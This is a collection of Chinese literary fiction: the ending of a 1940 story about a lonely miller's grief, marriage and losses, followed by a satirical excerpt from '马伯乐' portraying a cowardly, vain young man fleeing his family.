从这以后,可怜的冯二成子害了相思病,脸色灰白,眼圈发紫,茶也不想吃,饭也咽不下,他一心一意地想着那邻家的姑娘。 读者们,你们读到这里,一定以为那磨房里的磨倌必得要和邻家女儿发生一点关系。其实不然的。后来是另外的一位寡妇。 世界上竟有这样谦卑的人,他爱了她,他又怕自己的身份太低,怕毁坏了她。他偷着对她寄托一种心思,好象他在信仰一种宗教一样。邻家女儿根本不晓得有这么一回事。 不久,邻家女儿来了说媒的,不久那女儿就出嫁去了。 婆家来娶新媳妇的那天,抬着花轿子,打着锣鼓,吹着喇叭,就在磨房的窗外,连吹带打的热闹了起来。 冯二成子把头伏在梆子上,他闭了眼睛,他一动也不动。 那边姑娘穿了大红的衣裳,搽了胭脂粉,满手抓着铜钱,被人抱上了轿子。放了一阵炮仗,敲了一阵铜锣,抬起轿子来走了。 走得很远很远了,走出了街去,那打锣声只能丝丝拉听到一点。 冯二成子仍旧没有把头抬起,一直到那轿子走出几里路之外,就连被娶亲惊醒了的狗叫也都平静下去时,他才抬起头来。 那小驴蒙着眼罩静静地一圈一圈地在拉着空磨。 他看一看磨眼上一点麦子也没有了,白花花的麦粉流了满地。 那女儿出嫁以后,冯二成子常常和赵老太太攀谈,有的时候还到老太太的房里坐一坐。他不知为什么总把那老太太当做一位近亲来看待,早晚相见时,总是彼此笑笑。 这样也就算了,他觉得那女儿出嫁了反而随便了些。 可是这样过了没久,赵老太太也要搬家了,搬到女儿家去。 冯二成子帮着去收拾东西。在他收拾着东西时,他看见针线篓里有一个细小的白骨顶针。他想:这可不是她的?那姑娘又活跃跃地来到他的眼前。 他看见了好几样东西,都是那姑娘的。刺花的围裙卷放在小柜门里,一团扎过了的红头绳子洗得干干净净的,用一块纸包着。他在许多乱东西里拾到这纸包,他打开一看,他问赵老太太,这头绳要放在哪里?老太太说:“放在小梳头匣子里吧,我好给她带去。” 冯二成子打开了小梳头匣,他看见几根扣发针和一个假烧蓝翠的戒指仍放在里边。他嗅到一种梳头油的香气。他想这一定是那姑娘的,他把梳头匣关了。 他帮着老太太把东西收拾好,装上了车,还牵着拉车的大黑骡子上前去送了一程。 送到郊外,迎面的菜花都开了,满野飘着香气。老太太催他回来,他说他再送一程。他好象对着旷野要高歌的样子,他的胸怀象飞鸟似地张着,他面向着前面,放着大步,好象他一去就不回来的样子。 可是冯二成子回来的时候,太阳还正晌午。虽然是秋天了,没有夏天那么鲜艳,但是到处飘着香气。高粱成熟了,大豆黄了秧子,野地上仍旧是红的红绿的绿。冯二成子沿着原路往回走。走了一程,他还转回身去,向着赵老太太走去的远方望一望。但是连一点影子也看不见了。蓝天凝结得那么严酷,连一些皱褶也没有,简直象是用蓝色纸剪成的。 他用了他所有的目力,探究着蓝色的天边处,是否还存在着一点点黑点,若是还有一个黑点,那就是赵老太太的车子了。可是连一个黑点也没有,实在是没有的,只有一条白亮亮的大路,向着蓝天那边爬去,爬到蓝天的尽头,这大路只剩了窄狭的一条。 赵老太太这一去什么时候再能够见到,没有和她约定时间,也没有和她约定地方。他想顺着大路跑去,跑到赵老太太的车子前面,拉住大黑骡子,他要向她说:“不要忘记了你的邻居,上城里来的时候可来看我一次。” 但是车子一点影也没有了,追也追不上了。 他转回身来,仍走他的归途,他觉得这回来的路,比去的时候不知远了多少倍。 他不知为什么这次送赵老太太,比送他自己的亲娘还更难过。他想:人活着为什么要分别?既然永远分别,当初又何必认识!人与人之间又是谁给造了这个机会?既然造了机会,又是谁把机会给取消了? 他越走他的脚越沉重,他的心越空虚,就在一个有树荫的地方坐下来。 他往四方左右望一望,他望到的,都是在劳动着的,都是在活着的,赶车的赶车,拉马的拉马,割高粱的人,满头流着大汗。还有的手被高粱秆扎破了,或是脚被扎破了,还浸浸地泌着血,而仍是不停地在割。他看了一看,他不能明白,这都是在做什么;他不明白,这都是为着什么。他想:你们那些手拿着的,脚踏着的,到了终归,你们是什么也没有的。你们没有了母亲,你们的父亲早早死了,你们该娶的时候,娶不到你们所想的;你们到老的时候,看不到你们的子女成人,你们就先累死了。 冯二成子看一看自己的鞋子掉底了,于是脱下鞋子用手提鞋子,站起来光着脚走。他越走越奇怪,本来是往回走,可是心越走越往远处飞。究竟飞到哪里去了,他自己也把捉不定。总之,他越往回走,他就越觉得空虚。路上他遇上一些推手车的,挑担的,他都用了奇怪的眼光看了他们一下:你们是什么也不知道,你们只知道为你们的老婆孩子当一辈子牛马,你们都白活了,你们自己还不知道。你们要吃的吃不到嘴,要穿的穿不上身,你们为了什么活着,活得那么起劲! 他看见几个卖豆腐脑的,搭着白布篷,篷下站着好几个人在吃。有的争着要多加点酱油,而那卖豆腐脑的偏偏给他加上几粒盐。卖豆腐脑的说酱油太贵,多加要赔本的。于是为着点酱油争吵了起来。冯二成子老远地就听他们在嚷嚷。他用斜眼看了那卖豆腐脑的:你这个小气人,你为什么那么苛刻?你都是为了老婆孩子!你要白白活这一辈子,你省吃俭用,到头你还不是个穷鬼! 冯二成子这一路上所看到的几乎完全是这一类人。 他用各种眼光批评了他们。 他走了一会,转回身去看看远方,并且站着等了一会,好象远方会有什么东西自动向他飞来,又好象远方有谁在招呼着他。他几次三番地这样停下来,好象他侧着耳朵细听。但只有雀子的叫声从他头上飞过,其余没有别的了。 他又转身向回走,但走得非常迟缓,象走在荆蓁的草中。仿佛他走一步,被那荆蓁拉住过一次。 终于他全然没有了气力,全身和头脑。他找到一片小树林,他在那里伏在地上哭了一袋烟的工夫。他的眼泪落了一满树根。 他回想着那姑娘束了花围裙的样子,那走路的全身愉快的样子。他再想那姑娘是什么时候搬来的,他连一点印象也没有记住,他后悔他为什么不早点发现她。她的眼睛看过他两三次,他虽不敢直视过去,但他感觉得到,那眼睛是深黑的,含着无限情意的。他想到了那天早晨他与她站了个对面,那眼睛是多么大!那眼光是直逼他而来的。他一想到这里,他恨不得站起来扑过去。但是现在都完了,都去得无声无息的那么远了,也一点痕迹没有留下,也永久不会重来了。 这样广茫茫的人间,让他走到哪方面去呢?是谁让人如此,把人生下来,并不领给他一条路子,就不管他了。 黄昏的时候,他从地面上抓了两把泥土,他昏昏沉沉地站起来,仍旧得走着他的归路。 他好象失了魂魄的样子,回到了磨房。 看一看罗架好好的在那儿站着,磨盘好好的在那儿放着,一切都没有变动。吹来的风依旧是很凉爽的。从风车吹出来的麦皮仍旧在大篓子里盛着,他抓起一把放在手心上擦了擦,这都是昨天磨的麦子,昨天和今天是一点也没有变。他拿了刷子刷了一下磨盘,残余的麦粉冒了一阵白烟。这一切都和昨天一样,什么也没有变。耗子的眼睛仍旧是很亮很亮的跑来跑去。后花园静静的和往日里一样的没有声音。上房里,东家的太太抱着孙儿和邻居讲话,讲得仍旧和往常一样热闹。担水的往来在井边,有谈有笑的放着大步往来的跑,绞着井绳的转车喀啦喀啦的大大方方地响着。一切都是快乐的,有意思的。就连站在槽子那里的小驴,一看冯二成子回来了,也表示欢迎似的张开大嘴来叫了几声。冯二成子走上前去,摸一摸小驴的耳朵,而后从草包取一点草散在槽子里,而后又领着那小驴到井边去饮水。 他打算再工作起来,把小驴仍旧架到磨上,而他自己还是愿意鼓动着勇气打起梆子来。但是他未能做到,他好象丢了什么似的,好象是被人家抢去了什么似的。 他没有拉磨,他走到街上来荡了半夜,二更之后,街上的人稀疏了,都回家去睡觉去了。 他经过靠着缝衣裳来过活的老王那里,看她的灯还未灭,他想进去歇一歇脚也是好的。 老王是一个三十多岁的寡妇,因为生活的忧心,头发白了一半了。 她听了是冯二成子来叫门,就放下了手里的针线来给他开门了。 还没等他坐下,她就把缝好的冯二成子的蓝单衫取出来了,并且说着:“我这两天就想要给你送去,为着这两天活计多,多做一件,多赚几个,还让你自家来拿……” 她抬头一看冯二成子的脸色是那么冷落,她忙着问:“你是从街上来的吗?是从哪儿来的?” 一边说着一边就让冯二成子坐下。 他不肯坐下,打算立刻就要走,可是老王说:“有什么不痛快的?跑腿子在外的人,要舒心坦意。” 冯二成子还是没有响。 老王跑出去给冯二成子买了些烧饼来,那烧饼还是又脆又热的,还买了酱肉。老王手里有钱时,常常自己喝一点酒,今天也买了酒来。 酒喝到三更,王寡妇说:“人活着就是这么的,有孩子的为孩子忙,有老婆的为老婆忙,反正做一辈子牛马。年轻的时候,谁还不是象一棵小树似的,盼着自己往大了长,好象有多少黄金在前边等着。可是没有几年,体力也消耗完了,头发黑的黑,白的白……” 她给他再斟一盅酒。 她斟酒时,冯二成子看她满手都是筋络,苍老得好象大麻的叶子一样。 但是她说的话,他觉得那是对的,于是他把那盅酒举起来就喝了。 冯二成子也把近日的心情告诉了她。他说他对什么都是烦躁的,对什么都没有耐性了。他所说的,她都理解得很好,接着他的话,她所发的议论也和他的一样。 喝过了三更以后,冯二成子也该回去了。他站起来,抖擞一下他的前襟,他的感情宁静多了,他也清晰得多了,和落过雨后又复见了太阳似的,他还拿起老王在缝着的衣裳看看。问她一件夹袄的手工多少钱。 老王说:“那好说,那好说,有夹袄尽管拿来做吧。” 说着,她就拿起一个烧饼,把剩下的酱肉通通夹在烧饼里,让冯二成子带着:“过了半夜,酒要往上返的,吃下去压一压酒。” 冯二成子百般的没有要,开了门,出来了,满天都是星光;中秋以后的风,也有些凉了。 “是个月黑头夜,可怎么走!我这儿也没有灯笼……” 冯二成子说:“不要,不要!”就走出来了。 在这时,有一条狗往屋里钻,老王骂着那狗:“还没有到冬天,你就怕冷了,你就往屋里钻!” 因为是夜深了的缘故,这声音很响。 冯二成子看一看附近的人家都睡了。王寡妇也在他的背后闩上了门,适才从门口流出来的那道灯光,在闩门的声音里边,又被收了回去。 冯二成子一边看着天空的北斗星,一边来到了小土坡前。那小土坡上长着不少野草,脚踏在上边,绒绒乎乎的。于是他蹲了双腿,试着用指尖搔一搔,是否这地方可以坐一下。 他坐在那里非常宁静,前前后后的事情,他都忘得干干净净,他心里边没有什么骚扰,什么也没有想,好象什么也想不起来了。晌午他送赵老太太走的那回事,似乎是多少年前的事情。现在他觉得人间并没有许多人,所以彼此没有什么妨害,他的心境自由得多了,也宽舒得多了,任着夜风吹着他的衣襟和裤脚。 他看一看远近的人家,差不多都睡觉了,尤其是老王的那一排房子,通通睡了,只有王寡妇的窗子还透着灯光。他看了一会,他又把眼睛转到另外的方向去,有的透着灯光的窗子,眼睛看着看着,窗子忽然就黑了一个,忽然又黑了一个。屋子灭掉了灯,竟好象沉到深渊里边去的样子,立刻消灭了。 而老王的窗子仍旧是亮的,她的四周都黑了,都不存在了,那就更显得她单独的停在那里。 “她还没有睡呢!”他想。 她怎么还不睡?他似乎这样想了一下。是否他还要回到她那边去,他心里很犹疑。 等他不自觉的又回到老王的窗下时,他终于敲了她的门。里边应着的声音并没有惊奇,开了门让他进去。 这夜,冯二成子就在王寡妇家里结了婚了。 他并不象世界上所有的人结婚那样:也不跳舞,也不招待宾客;也不到礼拜堂去。而也并不象邻家姑娘那样打着铜锣,敲着大鼓。但是他们庄严得很,因为百感交集,彼此哭了一遍。 第二年夏天,后花园里的花草又是那么热闹,倭瓜淘气地爬上了树了,向日葵开了大花,惹得蜂子成群地闹着,大菽茨、爬山虎、马蛇菜、胭粉豆,样样都开了花。耀眼的耀眼,散着香气的散着香气。年年爬到磨房窗棂上来的黄瓜,今年又照样的爬上来了;年年结果子的,今年又照样的结了果子。 惟有墙上的狗尾草比去年更为茂盛,因为今年雨水多而风少。 园子里虽然是花草鲜艳,而很少有人到园子里来,是依然如故。 偶然园主的小孙女跑进来折一朵大菽茨花,听到屋里有人喊着:“小春,小春……” 她转身就跑回屋去,而后把门又轻轻的闩上了。 算起来就要一年了,赵老太太的女儿就是从这靠着花园的厢房出嫁的。 在街上,冯二成子碰到那出嫁的女儿一次,她的怀里抱着一个小孩。 可是冯二成子也有了小孩了。磨房里拉起了一张白布帘子来,帘子后边就藏着出生不久的婴孩和孩子的妈妈。 又过了两年,孩子的妈妈死了。 冯二成子坐在罗架上打筛罗时,就把孩子骑在梆子上。夏昼十分热了,冯二成子把头垂在孩子的腿上,打着瞌睡。 不久,那孩子也死了。 后花园里经过了几度繁华,经过了几次凋零,但那大菽茨花它好象世世代代要存在下去的样子,经冬复历春,年年照样的在园子里边开着。 园主人把后花园里的房子都翻了新了,只有这磨房连动也没动,说是磨房用不着好房子的,好房子也让筛罗“咚咚”的震坏了。 所以磨房的屋瓦,为着风吹,为着雨淋,一排一排的都脱了节。每刮一次大风,屋瓦就要随着风在半天空里飞走了几块。 夏昼,冯二成子伏在梆子上,每每要打瞌睡。他瞌睡醒来时,昏昏庸庸的他看见眼前跳跃着无数条光线,他揉一揉眼睛,再仔细看一看,原来是房顶露了天了。 以后两年三年,不知多少年,他仍旧在那磨房里平平静静地活着。 后花园的园主也老死了,后花园也拍卖了。这拍卖只不过给冯二成子换了个主人。这个主人并不是个老头,而是个年轻的、爱漂亮、爱说话的,常常穿了很干净的衣裳来磨房的窗外,看那磨倌怎样打他的筛罗,怎样摇他的风车。 一九四○年四月(原载香港1940年4月10日至25日《大公报》及《学生界》) 马伯乐(节选)1 马伯乐在抗战之前就很胆小的。 他的身体不十分好,可是也没有什么病。看外表,他很瘦。但是终年不吃什么药,偶尔伤了风,也不过多吸几支烟就完了。纸烟并不能医伤凤,可是他左右一想,也到底上算,吃了药,不也是白吃吗?伤风是死不了人的。 他自己一伤风,就这么办。 若是他的孩子伤了风,或是感冒了,他就买饼干给他们吃,他说: “吃吧,不吃白不吃,就当药钱把它吃了。” 孩子有了热度,手脚都发烧的,他就拿了一块浸了冷水的毛巾不断地给围在孩子的头上。他很小心地坐在孩子的旁边,若看了孩子一睁开眼睛,他就连忙把饼干盒打开: “要吃一点吗?爸爸拿给你。” 那孩子立刻把眼睛闭上了,胸脯不住地喘着。 过了一会,孩子睁开眼睛要水喝,他赶快又把饼干盒子拿过去。孩子大口地喝水,饼干,连睬也没有睬。 他拿了一个杯子来。“他想了半天才想出这个方法来,把饼干泡到怀中,孩子喝水时不就一道喝下去了吗? 从热水瓶倒了一些开水,用一只小匙子呱嘟嘟地搅了一阵,搅得不冷不热,拿到他自己嘴上尝尝。吃得了,他端着杯在旁边等候着,好像要把杯子放下,要用的时候就来不及了。等了半天,孩子没有醒,他等得不耐烦就把孩子招呼醒。问他: “要喝水吗?” “不,我要尿尿。” “快喝点水再尿,快喝点……” 他用匙子搅了一下泡在杯中稀溜溜的东西,向着孩子的嘴倒去,倒得满鼻子都是浆糊。孩子往鼻子上乱抓,抓了满手,一边哭着,一边把尿也尿在床上了。 “这算完。” 马怕乐骂了一声,他去招呼孩子的妈妈去了。 临去的时候,他拿起那浆糊杯子,自己吞下去了。那东西在喉管里,像要把气给堵断了似的,他连忙把脖子往长伸着,并用手在脖子上按摩了一会,才算完全咽下去了。 孩子不生病的时候,他很少买给孩子什么东西吃,就是买了也把它放到很高的地方,他都是把它放在挂衣箱上。馋得孩子们搬着板凳,登着桌子,想尽了方法爬到挂衣箱上去。 因此马伯乐屋里的茶杯多半是掉了把柄的,那都是孩子们抢着爬挂衣箱弄掉地下而打去了的。 马伯乐最小的那个女孩——雅格,长得真可爱,眼睛是深黑深黑的,小胳膊胖得不得了,有一天妈妈不在家里,她也跟着哥哥们爬上挂衣箱去。原来那顶上放着三个大白梨。 正都爬到顶上,马怕乐从走廊上来了。隔着玻璃窗子,他就喊了一声: “好东西,你们这群小狼崽子?” 由于他的声音过于大了一点,雅格吓得一抖从高处滚下来,跌到痰盂上了。 从那时起,漂亮的雅格右眼上落了一个很大的伤疤。 马伯乐很胆小,但他却机警异常,他聪明得很,他一看事情不好了,他收拾起箱子来就跑。他说: “万事总要留个退步。” 他之所谓“退步”就是“逃跑”。是凡一件事,他若一觉得悲观,他就先逃。逃到哪里去呢?他自己常常也不知道,但是他是勇敢的,他不顾一切,好像洪水猛兽在后边追着他,使他逃得比什么都快。 有一年他去上海就是逃着去的。他跟他父亲说,说要到上海xx大学去念书。他看他父亲不回答,第二天,他又问了一次,父亲竟因为这样重复地问而发怒了,把眼镜摘下来狠狠地瞪了他一眼。 他一看,不好了,这一定是大太在里边做的怪。而他那时候恰巧和一位女子谈着恋爱,这事情太大也和他吵了几次。大概是太太跑到父亲面前告了状吧?说我追着那女子要去上海。这若再住在家里不走,可要惹下乱子的。 他趁着这两天太大回娘家,他又向父亲问了一次关于他要到上海读书的问题,看看父亲到底答应不答应。父亲果然把话说绝了:“不能去,不能去。” 当天晚上,他就收拾了提包,他想是非逃不可了。 提包里什么都带着,牙刷牙粉。只就说牙刷吧,他打开太太的猪皮箱,一看有十几只,他想:都带着呀,不带白不带,将来要想带也没这个机会了。又看见了毛巾,肥皂,是“力士牌”的,这肥皂很好。到哪儿还不是洗脸呢!洗脸就少不了肥皂的。又看到了太 太的花手帕,一共有一打多,各种样的,纱的、麻的、绸子的,其中还有根高贵的几张,太太自己俭省着还没舍得用,现在让他拿去了。他得意得很。他心里说: “这守财奴呵,你不用你给谁省着?” 马伯乐甜蜜蜜的自己笑起来,他越看那小手帕越好看。 “这若送给……她,该多好呵!”(“她”即其爱人) 马伯乐得意极了,关好了这个箱子又去开第二个。总之到临走的时候,他已经搜刮满了三只大箱子和两只小箱子。 领带连新的带旧的一共带了二十多条,总之,所有的领带,他都带上了。新袜子、旧袜子一共二十几双,有的破得简直不能用了,有的穿脏了还没有洗,因为他没多余工夫检查一番,也都一齐塞在箱子里了。 余下他所要不了的,他就倒满一地,屋子弄得一塌糊涂。太太的爽身粉,拍了一床。破鞋、破袜子,连孩子们的一些东西,扔得满地都是。反正他也不打算回来了。这个家庭,他是厌恶之极,平庸、沉寂、无生气…… 青年人久住在这样的家里是要弄坏了的,是要腐烂了的,会要满身生起青苔来的,会和梅雨天似的使一个活泼的现代青年满身生起绒毛来,就和那些海底的植物一般。洗海水浴的时候,脚踏在那些海草上边,那种滑滑的粘腻感觉,是多么使人不舒服!慢慢地青年在这个家庭里,会变成那个样子;会和海底的植物一样。总之,这个家庭是呆不得的,是要昏庸老朽了的。你就看看父亲吧,每天早晨起来,向上帝祷告,要祷告半个多钟头。父亲是跪着的,把眼镜脱掉,那喃喃的语声好像一个大蜂子绕着人的耳朵,嗡嗡的,分不清他在嘟嘟些个什么。有时把两只手扣在脸上,好像石刻的人一样,他一动不动,祷告完了戴起眼镜来,坐在客厅里用铁梨木制的中国古式的长桌边上,读那本剑英牧师送给他的涂了金粉的《圣经》。那本《圣经》装潢得很高贵,所以只有父亲一个人翻读,连母亲都不准许动手,其余家里别的人那就更不敢动手了,比马家的家谱还更尊严了一些。自从父亲信奉了那稣教之后,把家谱竟收藏起来了,只有在过年的时候,取出来摆了一摆。并不像这本《圣经》那样,是终年到尾不准碰一碰的摆着。 马怕乐的父亲,本是纯粹的中国老头,穿着中国古铜色的大团花长袍,礼眼呢千层底鞋,手上养着半寸长的指甲。但是他也学着说外国话,当地教会的那些外国朋友来他家里,那老头就把佣人叫成“boy”,喊着让他们拿啤酒来: “beer,beer!”(啤酒) 等啤酒倒到杯子里,冒着白沫,他就向外国朋友说: “please!”(请) 是凡外国的什么都好,外国的小孩子是胖的,外国女人是能干的,外国的玻璃杯很结实,外国的毛织品有多好。 因为对于外国人的过于佩服,父亲是常常向儿子们宣传的,让儿子学外国话,提倡儿子穿西装。 这点,差不多连小孙子也做到了,小孙子们都穿起和西洋孩子穿的那样的短裤来,肩上背着背带。早晨起来时都一律说: goodmorining。① 太阳一升高了,就说: “goodtoday!”② 见了外国人就说: “hello,howdoyoudo?③ 祖父也不只尽教孙儿们这套,还教孙儿们读《圣经》。有时把孙儿们都叫了来,恭恭敬敬地站在桌前,教他们读一段《圣经》。 所读的在孩子们听来不过是,“我主耶稣说”,“上帝叫我们不如此做”,“大卫撕裂了衣裳”,“牧羊人伯利恒”,“说谎的法利赛人”,…… 听着听着,孩子们有的就要睡着了,把平时在教堂里所记住的《圣经》上的零零碎碎的话也都混在一道了。站在那里挖着鼻子,咬着指甲,终天痴呆呆的连眼珠都不转了,打起盹来。这时候祖父一声令下,就让他们散了去。散到过道的外边,半天工夫那些孩子们都不会吵闹。因为他们揉着眼睛的揉着眼睛,打着哈欠的打着哈欠。 18. 第 22 章 还有守安息日的日子,从早晨到晚上,不准买东西,买菜买果都不准的。夏天的时候,卖大西瓜的一担一担地过去而不准买。要吃必得前一天买进来放着,第二天吃。若是前一天忘记了,或是买了西瓜而没买甜瓜,或杏子正下来的时候,李子也下来了,买了这样难免就忘了那样。何况一个街市可买的东西太多了,总是买不全的。因此孩子们在这一天哭闹得太甚时,做妈妈的就只得偷着买了给他们吃。这若让老太爷知道了,虽然在这守安息日的这天,什么话也不讲;到了第二天,若是谁做了错事,让他知道了,他就把他叫过去,又是在那长桌上,把涂着金粉的《圣经》打开,给他们念一段《圣经》。 马家的传统就是《圣经》和外国话。有一次正是做礼拜回来,马伯乐的父亲拉着八岁的雅格的哥哥。一出礼拜堂的门,那孩子看一个满身穿着外国装的,他以为是个外国人,就回过头去向人家说: “howdoyoudo?”” 那个人在孩子的头顶上拍了一下说:“你这个小孩,外国话说得好哪!” 那孩子一听是个中国人,很不高兴,于是拉着祖父就大笑起来: “爷爷,那个中国人,他不会说外国话呀!” 这上天马伯乐也是同去做礼拜的,看了这景况,心里起了无限的憎恶: “这还可以吗?这样的小孩子长大了还有什么用啦!中华民族一天一天走进深坑里去呀!中国若是每家都这样,从小就教他们的子弟见了外国人就眼睛发亮;就像见了大洋钱那个样子。外国人不是给你送大洋钱的呀!他妈的,民脂民膏都让他们吸尽了,还他妈的加以尊敬。” 马伯乐一边收拾着箱子,一边对于家庭厌恶之极的情感都来了。 这样的家庭是一刻工夫也不能停的了,为什么早不想走呢?真是糊涂,早就应该离开!真他妈的,若是一个人的话,还能在这家庭呆上一分钟? 还有像这样的太太是一点意思也没有的了。自从她生了孩子,连书也不看了,连日记也不写了。每天拿着本《圣经》似读非读地摆起架子来。她说她也不信什么那稣,不过是为了将来的家产,你能够不信吗?她说父亲说过,谁对主耶稣忠诚,将来的遗嘱 上就是谁的财产最多。 这个家庭,实在要不得了,都是看着大洋钱在那里活着,都是些没有道德的,没有信仰的。 虽然马怕乐对于家庭是完全厌恶的了,但是当他要逃开这个家庭的前一会工夫,他却又起了无限的留恋: “这是最后的一次吧!” “将来还能回来吗?是逃走的呀,父亲因此还不生恨吗?” 他在脑子里问着自己。 “不能回来的了。” 他自己回答着。 于是他想该带的东西,就得一齐都带着,不带着,将来用的时候可就没有了。 而且永远也不会有的了。 背着父亲“逃”,这是多么大的一件事情,逃到上海第一封信该怎样写呢? 他觉得实在难以措词。但是他又一想,这算什么,该走就走。 “现代有为的青年,作事若不果断,还行吗?” 该带的东西就带,于是他在写字桌的抽屉里抓出不少乱东西来,有用的,无用的,就都塞在箱子里。 钟打了半夜两点的时候,他已经装好了三只大箱子和两只小箱子。 天快亮的时候,他一听不好了,父亲就要起来了,同时像有开大门的声音。 大概佣人们起来了! 马伯乐出了一头顶汗,但是想不出个好法子来。 “若带东西,大概人就走不了;人若走得了,东西就带不了。” 他只稍微想一想: “还是一生的命运要紧,还是那些东西要紧?” “若是太太回来了,还走得了?” 正这时候,父亲的房里有咳嗽的声音。不好了,赶快逃吧。 马伯乐很勇敢的,只抓起一顶帽子来,连领带也没有结,下楼就逃了。 马伯乐连一夜没有睡觉赶着收拾好了的箱子也都没有带。他实在很胆小的,但是他却机警。 未发生的事情,他能预料到它要发生。坏的他能够越想越坏。悲观的事情让他一想,能够想到不可收拾。是凡有一点缺点的东西,让他一看上去,他就一眼看出来,那是已经要不得的了,非扔开不可了。 他走路的时候,永久转着眼珠东看西看,好像有人随时要逮捕他。 到饭馆去吃饭,一拉过椅子来,先用手指摸一摸,是否椅子是干净的。若是干净的他就坐下;若是脏的,也还是坐下。不过他总得站着踌躇一会,略有点不大痛快的表示。筷子摆上桌来时,他得先施以检查的工夫。他检查的方法是很奇怪的,并不像一般人一样,不是用和筷子一道拿来的方纸块去擦,而是把筷子举到眼眉上细细地看。看过了之后,他才取出他自己的手帕来,很讲卫生地用他自己的手帕来擦,好像只有他的手帕才是干净的。其实不对的,他的手帕一礼拜之内他洗澡的时候,才把手帕放在澡盆子里,用那洗澡的水一道洗它一次。他到西餐馆去,他就完全信任的了,椅子,他连看也不看,是拉过来就坐的(有时他用手仔细地摸着那桌布,不过他是看那桌布绣的那么精致的花,并非看它脏不脏)。刀叉拿过来时,并且给他一张白色的饭中。他连刀叉看也不着,无容怀疑的,拿过来就叉在肉饼上。 他到中国商店去买东西,顶愿意争个便宜价钱,明明人家是标着定价的,他看看那定价的标码,他还要争。男人用的人造丝袜子,每双四角,他偏给三角半、结果不成。不成他也买了。他也绝不到第二家去再看看,因为他心中有一个算盘: “这袜子不贵呀!四角钱便宜,若到大公司里去买,非五角不可。” 既然他知道便宜,为什么还争价? 他就是想,若能够更便宜,那不就是更好吗?不是越便宜越好吗?若白送给他,不就更好吗? 到外国商店去买东西,他不争。让他争,他也不争。哪怕是没有标着价码的,只要外国人一说,两元就是两元,三元就是三元。他一点也没有显出对于钱他是很看重的样子,毫不思索地从腰包里取出来,他立刻付出去的。 因为他一进了外国店铺,他就觉得那里边很庄严,那种庄严的空气很使他受压迫,他愿意买了东西赶快就走,赶快逃出来就算了。 他说外国人没有好东西,他跟他父亲正是相反,他反对他父亲说外国这个好,那个好的。 他虽然不宣传外国人怎样好,可是他却常骂中国人: “真他妈的中国人! 比方上汽车,大家乱挤,马伯乐也在其中挤着的,等人家挤掉了他的帽子,他就大叫着: “真他妈的中国人!挤什么!” 在街上走路,后边的人把他撞了一下,那人连一声“对不起”也不说。他看看那但然而走去的人,他要驾一声: “真他妈的中国人!” 马伯乐家的仆人,失手打了一只杯子,他狠狠地瞪了他一眼: “真他妈的中国人!” 好像外国人就不打破杯子似的,不知道他是什么意思。 有一次他拆一封信,忙了一点伤着里边的信纸了,他把信张开一看,是丢了许多字的,他就说: “真他妈的中国人!” 马伯乐的全身都是机警的,灵敏的,且也像愉快的样子。惟独他的两只眼睛常常闪视着悲哀。 他的眼睛是黑沉沉的,常常带着不信任的光辉。他和别人对面谈话,他两个眼睛无时不注视在别人的身上,且是从头到脚,从脚到头,来回地寻视,而后把视线安安定定地落在别人的脸上,向人这么看了一两分钟。 这种看法,他好像很悲哀的样子,从他的眼里放射出来不少的怜悯。 好像他与谈话的人,是个同谋者,或者是个同党,有共同的幸与不幸联系着他,似乎很亲切但又不好表现的样子。 马伯乐是悲哀的,他喜欢点文学,常常读一点小说,而且一边读着一边感叹着。 “写得这样好呵!真他妈的中国人。” 他读的大半是翻译小说,中国小说他也读,不过他读了常常感到写的不够劲。 比方写狱中记一类事情的,他感觉他们写得太松散,一点也不紧张,写得吞吞吐吐,若是让他来写,他一定把狱中的黑暗暴露无遗,给它一点也不剩,一点也不留,要说的都说出来,要骂的都骂出来。惟独这才能够得上一个作家。 尤其是在中国,中国的作家在现阶段是要积极促成抗日的,因此他常常叹息着: “我若是个作家呀,我非领导抗日不可。中国不抗日,没有翻身的一天。” 后来他开始从街上买了一打一打的稿纸口来。他决心开始写了。 他读高尔基的《我的童年》的时候,那里边有很多地方提醒了他。他也有一些和高尔基同样的生活经验,有的地方比高尔基的生活还丰富,高尔基他进过煤坑吗?而马伯乐进去过的。他父亲开小煤矿嘛,他跟工人一路常常进去玩的。 他决心写了。有五六天他都是坐在桌子旁边,静静地坐着,摆着沉思的架子。 到了第七天,他还一个字没有写,他气得把稿纸撕掉了许多张。 但他还是要写的,他还是常常往家里买稿纸。开初买的是金边的,后来买的是普通的,到最后他就买些白报纸回来。他说: “若想当个作家,稿纸是天天用,哪能尽用好的,好的大浪费了。”他和朋友们谈话,朋友们都谈到抗日问题上去,于是他想写的稿子,就越得写了。 “若是写了抗日的,这不正是时候吗?这不正是负起领导作用吗?这是多么伟大的工作!这才是真正推动了历史的轮子。” 他越想越伟大,似乎自己已经成了个将军了。 于是他很庄严地用起功来。 新买了许多书,不但书房,把太大的卧房也给摆起书架子。大大到厨房去煎鱼,孩子打开玻璃书架,把他的书给抛了满地,有的竟撕了几页,踏在脚下。 “这书是借来的呀,你都给撕坏了,到那时候可怎么办?” 马伯乐这一天可真气坏了,他从来也不打孩子,他也不敢打。他若打孩子,他的太太就在后边打他。可是这一天他实在气红了眼睛,把孩子按到床上打得哇哇地乱叫。 开初那孩子还以为和往常一样,是爸爸和他闹着玩的,所以被按到床上还咯咯的一边笑一边踢荡着小腿。马伯乐说: “好东西,你等着吧!” 把孩子打了之后玻璃书橱也锁起来了。一天一天地仍是不断地从民众图书馆里往家搬书。他认识图书馆的办事员,所以他很自由的,愿意拿什么书就拿什么书,不用登记,不用挂号。 民众图书馆的书,马伯乐知道也是不能看,不过家里既然预备了书架,书多一点总是好看。 从此他还戴起眼镜来,和一个真正的学者差不多了。 他大概一天也不到太大屋里来。大太说他瘦多了,要到街上去给他买一瓶鱼肝油来吃。 不久,马伯乐就生了一点小病。大家是知道的,他生病是不吃什么药的。也不过多吸几只烟也就好了。 可是在病中,出乎他自己意料之外的他却写了点文章。 他买了几本世界文学名著,有的他看过,有的还来不及看。但是其中他选了一本,那一本他昼夜抱着,尤其当他在纸上写字的时候,他几乎离不开那本书,他是写一写看一看的。 那书是外国小说,并没有涉及到中国的事情。但他以为也没有多大关系,外国人的名字什么什么彼得罗夫,他用到他的小说 上,他给改上一个李什么,王什么。,总之他把外国人都给改成中国人之后,又加上自己最中心之主题“打日本”。现在这年头,你不写“打日本”,能有销路吗?再说你若想当一个作家,你不在前边领导着,那能被人承认吗? 马伯乐没有什么职业、终年地闲着,从中学毕业后就这样。那年他虽然去到了上海,也想上大学念书,但是他没有考上,是在那里旁听。父亲也就因此不给他费用。虽然他假造了些凭据,写信用大学的信封,让父亲回信到xx大学,但也都没有生效。 